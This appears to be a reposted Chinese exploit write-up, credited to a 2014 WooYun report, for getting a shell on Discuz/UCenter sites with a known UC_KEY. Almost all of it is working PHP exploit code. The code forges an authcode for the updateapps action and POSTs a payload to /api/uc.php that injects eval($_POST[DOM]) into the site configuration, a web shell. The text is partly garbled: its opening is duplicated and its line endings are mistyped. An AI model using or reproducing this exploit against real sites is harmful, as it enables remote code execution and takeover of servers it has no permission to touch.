Discuz的利用UC_KEY进行getshell

摘要

来自:http://www.wooyun.org/bugs/wooyun-2014-048137
[php]
// 代码版权归原作者所有！
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='

来自:http://www.wooyun.org/bugs/wooyun-2014-048137
[php]
// 代码版权归原作者所有！
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='

http://x/');eval($_POST[DOM]);//

';
$cmd2='

http://x

';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;

function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1/r/n";
$message .= "Accept: */*/r/n";
$message .= "Referer: ".$host."/r/n";
$message .= "Accept-Language: zh-cn/r/n";
$message .= "Content-Type: application/x-www-form-urlencoded/r/n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)/r/n";
$message .= "Host: ".$host."/r/n";
$message .= "Content-Length: ".strlen($cmd)."/r/n";
$message .= "Connection: Close/r/n/r/n";
$message .= $cmd;

//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}
?>[/php]